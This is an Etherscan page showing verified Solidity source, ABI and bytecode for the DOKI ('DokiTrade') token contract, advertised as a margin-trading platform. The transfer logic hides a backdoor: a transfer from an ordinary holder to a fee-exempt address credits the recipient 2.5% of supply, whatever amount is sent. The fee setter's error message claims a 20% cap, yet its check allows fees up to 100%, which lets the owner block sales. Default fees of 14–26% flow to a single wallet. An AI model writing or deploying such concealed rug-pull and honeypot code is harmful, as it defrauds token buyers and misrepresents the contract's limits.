Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function isOwner(address account)    - function transferOwnership(address pa ...    - function renounceOwnership() library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b)    - function sub(    - function div(    - function mod( interface IRouter    - function factory()    - function WETH()    - function addLiquidityETH(    - function swapExactTokensForETHSupport ... interface IERC20    - function decimals()    - function symbol()    - function name()    - function getOwner()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address _owner, ad ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... interface IFactory    - function createPair(address tokenA, a ...  contract DOKI is IERC20, Ownable *    - function name()    - function symbol()    - function startTrading()    - function approve(address spender, uin ...    - function totalSupply()    - function getOwner()    - function allowance(address owner, add ...    - function balanceOf(address account)    - function transfer(address recipient, ...    - function decimals()    - function swapAndBurn(uint256 tokens)    - function shouldSwapAndLiquidify(addre ...    - function getFeesByTx(address sender, ...    - function getFinalAmounts(address send ...    - function setTransactionLimits(uint256 ...    - function _approve(address owner, addr ...    - function setTransactionRequirements(u ...    - function swapTokensETH(uint256 tokenA ...    - function _transfer(address sender, ad ...    - function transferFrom(address sender, ...    - function addLiquidity(uint256 tokenAm ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-09-25
*/

// SPDX-License-Identifier: MIT

/*
Try non-custodial crypto margin trading on Doki, the simplest DeFi platform. Enter into short or long margin trades with up to 15x leverage.

Website: https://dokitrade.com
X: https://x.com/DokiTrade
Telegram: https://t.me/DokiTrade
*/

pragma solidity 0.8.21;

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
    event OwnershipTransferred(address owner);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}
interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract DOKI is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "DokiTrade";
    string private constant _symbol = "DOKI";

    uint8 private constant _decimals = 9;
    uint256 private _tSupply = 10 ** 9 * 10 ** _decimals;
    uint256 swapFeeAt;
    bool private inswap;
    modifier lockSwap {inswap = true; _; inswap = false;}
    IRouter router;
    address public pair;

    uint256 private buyFee = 1400;
    uint256 private sellFee = 2600;
    uint256 private transferFee = 1600;
    uint256 private denominator = 10000;
    bool private tradeActive = false;
    bool private swapEnabled = true;
    uint256 private swappingTimes;

    uint256 private burnDivide = 0;
    uint256 private lpDivide = 0;
    uint256 private mktDivide = 0;
    uint256 private devDivide = 100;
    uint256 private swapMaxSize = ( _tSupply * 1000 ) / 100000;
    uint256 private swapMinSize = ( _tSupply * 10 ) / 100000;
    uint256 public maxTransactionSz = ( _tSupply * 250 ) / 10000;
    uint256 public maxBuyAmt = ( _tSupply * 250 ) / 10000;
    uint256 public maxWalletsz = ( _tSupply * 250 ) / 10000;
    address internal devAddy=0xad720937d1Ca066f6E285a3E418B269940dBF8b7; 
    address internal mktAddy=0xad720937d1Ca066f6E285a3E418B269940dBF8b7;
    address internal lpAddy=0xad720937d1Ca066f6E285a3E418B269940dBF8b7;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        isFeeExempt[lpAddy] = true;
        isFeeExempt[mktAddy] = true;
        isFeeExempt[devAddy] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _tSupply;
        emit Transfer(address(0), msg.sender, _tSupply);
    }
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function startTrading() external onlyOwner {tradeActive = true;}    
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _tSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function getOwner() external view override returns (address) { return owner; }
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function decimals() public pure returns (uint8) {return _decimals;}
    
    function swapAndBurn(uint256 tokens) private lockSwap {
        uint256 _denominator = (lpDivide.add(1).add(mktDivide).add(devDivide)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(lpDivide).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(lpDivide));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(lpDivide);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(mktDivide);
        if(marketingAmt > 0){payable(mktAddy).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(devAddy).transfer(contractBalance);}
    }
    receive() external payable {}

    function shouldSwapAndLiquidify(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= swapMinSize;
        bool aboveThreshold = balanceOf(address(this)) >= swapMaxSize;
        return !inswap && swapEnabled && tradeActive && aboveMin && !isFeeExempt[sender] && recipient == pair && swappingTimes >= swapFeeAt && aboveThreshold;
    }

    function getFeesByTx(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return buyFee;}
        return transferFee;
    }
    function getFinalAmounts(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (isFeeExempt[recipient]) {return maxTransactionSz;}
        if(getFeesByTx(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getFeesByTx(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnDivide > uint256(0) && getFeesByTx(sender, recipient) > burnDivide){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnDivide));}
        return amount.sub(feeAmount);} return amount;
    }
    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _tSupply.mul(_buy).div(10000); uint256 newTransfer = _tSupply.mul(_sell).div(10000); uint256 newWallet = _tSupply.mul(_wallet).div(10000);
        maxTransactionSz = newTx; maxBuyAmt = newTransfer; maxWalletsz = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        lpDivide = _liquidity; mktDivide = _marketing; burnDivide = _burn; devDivide = _development; buyFee = _total; sellFee = _sell; transferFee = _trans;
        require(buyFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "buyFee and sellFee cannot be more than 20%");
    }

    function swapTokensETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradeActive, "tradeActive");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= maxWalletsz, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= maxBuyAmt || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= maxTransactionSz || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isFeeExempt[sender]){swappingTimes += uint256(1);}
        if(shouldSwapAndLiquidify(sender, recipient, amount)){swapAndBurn(swapMaxSize); swappingTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !isFeeExempt[sender] ? getFinalAmounts(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpAddy,
            block.timestamp);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionSz","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletsz","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004ba565b6200002290633b9aca00620004d1565b6001819055610578600555610a286006556106406007556127106008556009805461ffff19166101001790555f600b819055600c819055600d556064600e55620186a09062000074906103e8620004d1565b620000809190620004eb565b600f55620186a0600154600a620000989190620004d1565b620000a49190620004eb565b60105561271060015460fa620000bb9190620004d1565b620000c79190620004eb565b60115561271060015460fa620000de9190620004d1565b620000ea9190620004eb565b60125561271060015460fa620001019190620004d1565b6200010d9190620004eb565b6013556014805473ad720937d1ca066f6e285a3e418b269940dbf8b76001600160a01b03199182168117909255601580548216831790556016805490911690911790553480156200015c575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001c1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e791906200050b565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000233573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200025991906200050b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002a4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ca91906200050b565b60038054610100600160a81b0319166101006001600160a01b038681169190910291909117909155600480546001600160a01b03191683831617905560165481165f908152601960209081526040808320805460ff19908116600190811790925560155486168552828520805482168317905560145490951684528184208054861682179055338085528285208054909616821790955554601783528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000533565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003ff57815f1904821115620003e357620003e3620003ab565b80851615620003f157918102915b93841c9390800290620003c4565b509250929050565b5f826200041757506001620004b4565b816200042557505f620004b4565b81600181146200043e5760028114620004495762000469565b6001915050620004b4565b60ff8411156200045d576200045d620003ab565b50506001821b620004b4565b5060208310610133831016604e8410600b84101617156200048e575081810a620004b4565b6200049a8383620003bf565b805f1904821115620004b057620004b0620003ab565b0290505b92915050565b5f620004ca60ff84168362000407565b9392505050565b8082028115828204841417620004b457620004b4620003ab565b5f826200050657634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156200051c575f80fd5b81516001600160a01b0381168114620004ca575f80fd5b61183e80620005415f395ff3fe608060405260043610610129575f3560e01c80637704bab6116100a8578063a8aa1b311161006d578063a8aa1b3114610360578063a9059cbb1461037f578063ac1b129d1461039e578063cb7f97d7146103b3578063dd62ed3e146103d2578063f2fde38b14610416575f80fd5b80637704bab6146102bb578063893d20e8146102d057806395d89b41146103005780639b1b35e11461032c5780639cc3535114610341575f80fd5b80632f54bf6e116100ee5780632f54bf6e146101fd578063313ce5671461022a5780633f4218e01461024557806370a0823114610273578063715018a6146102a7575f80fd5b806306fdde0314610134578063095ea7b31461017757806318160ddd146101a657806323b872dd146101c8578063293230b8146101e7575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b50604080518082019091526009815268446f6b69547261646560b81b60208201525b60405161016e91906114fb565b60405180910390f35b348015610182575f80fd5b5061019661019136600461155d565b610435565b604051901515815260200161016e565b3480156101b1575f80fd5b506101ba61044b565b60405190815260200161016e565b3480156101d3575f80fd5b506101966101e2366004611587565b6104bb565b3480156101f2575f80fd5b506101fb610523565b005b348015610208575f80fd5b506101966102173660046115c5565b5f546001600160a01b0391821691161490565b348015610235575f80fd5b506040516009815260200161016e565b348015610250575f80fd5b5061019661025f3660046115c5565b60196020525f908152604090205460ff1681565b34801561027e575f80fd5b506101ba61028d3660046115c5565b6001600160a01b03165f9081526017602052604090205490565b3480156102b2575f80fd5b506101fb610564565b3480156102c6575f80fd5b506101ba60115481565b3480156102db575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016e565b34801561030b575f80fd5b50604080518082019091526004815263444f4b4960e01b6020820152610161565b348015610337575f80fd5b506101ba60135481565b34801561034c575f80fd5b506101fb61035b3660046115e0565b6105d1565b34801561036b575f80fd5b506004546102e8906001600160a01b031681565b34801561038a575f80fd5b5061019661039936600461155d565b61070d565b3480156103a9575f80fd5b506101ba60125481565b3480156103be575f80fd5b506101fb6103cd366004611609565b610719565b3480156103dd575f80fd5b506101ba6103ec366004611650565b6001600160a01b039182165f90815260186020908152604080832093909416825291909152205490565b348015610421575f80fd5b506101fb6104303660046115c5565b61080d565b5f610441338484610889565b5060015b92915050565b60176020527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b5461dead5f9081527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b03035460015491926104b69290916104b091906109ac565b906109ac565b905090565b5f6104c78484846109b7565b6105188433610513856040518060600160405280602881526020016117e1602891396001600160a01b038a165f9081526018602090815260408083203384529091529020549190610eee565b610889565b5060015b9392505050565b5f546001600160a01b031633146105555760405162461bcd60e51b815260040161054c90611687565b60405180910390fd5b6009805460ff19166001179055565b5f546001600160a01b0316331461058d5760405162461bcd60e51b815260040161054c90611687565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146105fa5760405162461bcd60e51b815260040161054c90611687565b5f61061c61271061061686600154610f1990919063ffffffff16565b90610f24565b90505f61063a61271061061686600154610f1990919063ffffffff16565b90505f61065861271061061686600154610f1990919063ffffffff16565b60118490556012839055601381905590505f6106836103e8610616600561067d61044b565b90610f19565b90508084101580156106955750808310155b80156106a15750808210155b6107045760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161054c565b50505050505050565b5f6104413384846109b7565b5f546001600160a01b031633146107425760405162461bcd60e51b815260040161054c90611687565b600c879055600d869055600b859055600e849055600583905560068290556007819055600854610773906001610f24565b60055411158015610793575060085461078d906001610f24565b60065411155b80156107ae57506008546107a8906001610f24565b60075411155b6107045760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b606482015260840161054c565b5f546001600160a01b031633146108365760405162461bcd60e51b815260040161054c90611687565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108eb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054c565b6001600160a01b03821661094c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054c565b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61051c82846116bb565b6001600160a01b038316610a1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054c565b6001600160a01b038216610a7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054c565b6001600160a01b0383165f90815260176020526040902054811115610afe5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161054c565b6001600160a01b0383165f9081526019602052604090205460ff16158015610b3e57506001600160a01b0382165f9081526019602052604090205460ff16155b15610b835760095460ff16610b835760405162461bcd60e51b815260206004820152600b60248201526a747261646541637469766560a81b604482015260640161054c565b6001600160a01b0383165f9081526019602052604090205460ff16158015610bc357506001600160a01b0382165f9081526019602052604090205460ff16155b8015610bdd57506004546001600160a01b03838116911614155b8015610bf457506001600160a01b03821661dead14155b15610c6c576013546001600160a01b0383165f90815260176020526040902054610c1e9083610f2f565b1115610c6c5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161054c565b6004546001600160a01b03848116911614610d0b5760125481111580610ca957506001600160a01b0383165f9081526019602052604090205460ff165b80610ccb57506001600160a01b0382165f9081526019602052604090205460ff165b610d0b5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054c565b60115481111580610d3357506001600160a01b0383165f9081526019602052604090205460ff165b80610d5557506001600160a01b0382165f9081526019602052604090205460ff165b610d955760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054c565b6004546001600160a01b038381169116148015610dca57506001600160a01b0383165f9081526019602052604090205460ff16155b15610de7576001600a5f828254610de191906116ce565b90915550505b610df2838383610f3a565b15610e0757610e02600f54610fe9565b5f600a555b6001600160a01b0383165f90815260176020526040902054610e2990826109ac565b6001600160a01b0384165f90815260176020908152604080832093909355601990529081205460ff1615610e5d5781610e68565b610e68848484611159565b6001600160a01b0384165f90815260176020526040902054909150610e8d9082610f2f565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ee09085815260200190565b60405180910390a350505050565b5f8184841115610f115760405162461bcd60e51b815260040161054c91906114fb565b505050900390565b5f61051c82846116e1565b5f61051c82846116f8565b5f61051c82846116ce565b601054600f54305f9081526017602052604081205460035491938510159211159060ff16158015610f725750600954610100900460ff165b8015610f80575060095460ff165b8015610f895750815b8015610fad57506001600160a01b0386165f9081526019602052604090205460ff16155b8015610fc657506004546001600160a01b038681169116145b8015610fd65750600254600a5410155b8015610fdf5750805b9695505050505050565b6003805460ff19166001908117909155600e54600d54600c545f936110229360029361067d93919261101c928391610f2f565b90610f2f565b90505f61103e82610616600c5486610f1990919063ffffffff16565b90505f61104b84836109ac565b90504761105782611283565b5f61106247836109ac565b90505f61108461107d600c54886109ac90919063ffffffff16565b8390610f24565b90505f61109c600c5483610f1990919063ffffffff16565b905080156110ae576110ae86826113f6565b600d545f906110c29061067d856002610f19565b90508015611103576015546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611101573d5f803e3d5ffd5b505b478015611143576014546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611141573d5f803e3d5ffd5b505b50506003805460ff191690555050505050505050565b6001600160a01b0382165f9081526019602052604081205460ff1615611182575060115461051c565b5f61118d85856114b1565b111561127c575f6111af6111a186866114b1565b60085461067d908690610f24565b305f908152601760205260409020549091506111cb9082610f2f565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061121b9085815260200190565b60405180910390a35f600b5411801561123e5750600b5461123c86866114b1565b115b1561126a5761126a3061dead611265600b5461067d60085489610f2490919063ffffffff16565b6109b7565b61127483826109ac565b91505061051c565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106112b6576112b6611717565b60200260200101906001600160a01b031690816001600160a01b031681525050600360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611327573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134b919061172b565b8160018151811061135e5761135e611717565b6001600160a01b03928316602091820292909201015260035461138991309161010090041684610889565b60035460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906113c59085905f90869030904290600401611746565b5f604051808303815f87803b1580156113dc575f80fd5b505af11580156113ee573d5f803e3d5ffd5b505050505050565b60035461141390309061010090046001600160a01b031684610889565b60035460165460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a4820152610100909204169063f305d71990839060c40160606040518083038185885af1158015611485573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114aa91906117b5565b5050505050565b6004545f906001600160a01b03908116908316036114d25750600654610445565b6004546001600160a01b03908116908416036114f15750600554610445565b5060075492915050565b5f6020808352835180828501525f5b818110156115265785810183015185820160400152820161150a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461155a575f80fd5b50565b5f806040838503121561156e575f80fd5b823561157981611546565b946020939093013593505050565b5f805f60608486031215611599575f80fd5b83356115a481611546565b925060208401356115b481611546565b929592945050506040919091013590565b5f602082840312156115d5575f80fd5b813561051c81611546565b5f805f606084860312156115f2575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561161f575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f8060408385031215611661575f80fd5b823561166c81611546565b9150602083013561167c81611546565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b81810381811115610445576104456116a7565b80820180821115610445576104456116a7565b8082028115828204841417610445576104456116a7565b5f8261171257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561173b575f80fd5b815161051c81611546565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117945784516001600160a01b03168352938301939183019160010161176f565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156117c7575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207335c1e5ae2168ace691732f1c75702286f9c9c054873aedf16ef6642c846bda64736f6c63430008150033

